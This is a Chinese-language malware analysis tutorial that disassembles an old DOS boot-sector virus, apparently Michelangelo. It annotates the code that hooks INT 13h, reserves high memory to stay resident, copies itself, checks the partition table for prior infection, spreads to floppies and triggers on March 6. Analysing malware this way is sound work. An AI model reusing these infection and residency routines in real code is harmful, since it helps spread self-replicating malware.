;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 ;读写以便传播发作
MOV AX,[0413] ;取得内存K数,放在AX DEC AX ; DEC AX ;减2k内存 MOV [0413],AX ;存回,通常是638K MOV CL,06 ; SHL AX,CL ; MOV ES,AX ;算出减2K后病毒本体的位址 MOV [7C05],AX ;AX存入0105
;病毒常用手法将系统高段内存减少以便驻留 ;这样可以免于被其他程序覆盖 MOV AX,000E ;病毒拦INT 13H ;ISR起始的偏移量 MOV [004C],AX ; MOV [004E],ES ;设原为病毒的INT 13H MOV CX,01BE ;病毒长度为1BE MOV SI,7C00 ;从JMP 01AF开始 XOR DI,DI ;DI=0 CLD ;清方向标志 REPZ; MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 CS: ;分区表能载入0000:7C00正常运作 JMP FAR [7C03] ;跳到为搬过后的位址 XOR AX,AX ;清AX MOV ES,AX ;ES=0000 INT 13 ;复位磁盘 PUSH CS ; POP DS ;让DS=CS MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则
MOV BX,7C00 ;读到0000:7C00 MOV CX,[0008] ;硬盘第0道,第7扇区 CMP CX, 07 ;比较是否从硬盘启动 JNZ 0213 ;不是跳0213 MOV DX,0080 ;第一硬盘C:第零面 INT 13 ;用INT 13号中断,读 JMP 023E ;跳023E比较日期,发作或正常开机 MOV CX,[0008] ;软盘0道,第3扇区 MOV DX,0100 ;A:的第0面 INT 13 ;INT 13读盘 JB 023E ;失败跳023E PUSH CS POPES ;让ES=CS MOV AX,0201 ; MOV BX,0200 ; MOV CX,0001 ; MOV DX,0080 ; INT 13 ;读入C:的分区表到0200,以便下面比较 JB 023E ;失败跳023E XOR SI,SI ;清SI CLD ;清方向标志以便比较 LODSW ;载入一个WORD到AX CMP AX,[BX] ;比较有无病毒存在..E9AC JNZ 0287 ;没有则跳0287传染 LODSW ;载入一个WORD到AX CMP AX,[BX 02] ;再次确认..0000 JNZ 0287 ;没有跳0287 XOR CX,CX ;清CX MOV AH,04 ; INT 1A ;取得日期 CMP DX,0306 ;是否为三月六日 JZ 024B ;是跳024B传染 RETF ;把程序交还给引导启动完成
步骤4:病毒INT 13代码分析 方法:U
PUSH DS ;首先把要用到积存器 PUSH AX ;入栈保存 OR DL,DL ;比较是否为软盘 JNZ 002F ;如不是则退出传染 XOR AX,AX ;AX=0 MOV DS,AX ;数据代段=0 TEST BYTE PTR [043F],01 ;比较是否为A盘 JNZ 002F ;不是则退出 POP AX ;将以上保存积存器 POP DS ;弹栈恢复 PUSHF ;压栈标志积存器 CS: ;以便执行原INT 13 CALL FAR [000A] ;执行原INT 13 PUSHF ;再次压栈 CALL 0036 ;以便跳转到传染程序 POPF ;跳转到执行传染 RETF 0002 ;结束中断调用返回 POP AX ;恢复 POP DS ;堆栈 CS: ;跳转到原正常INT 13 JMP FAR [000A] ;地址执行 ;此段代码中展现了病毒常用手法,利用标志积存器做跳转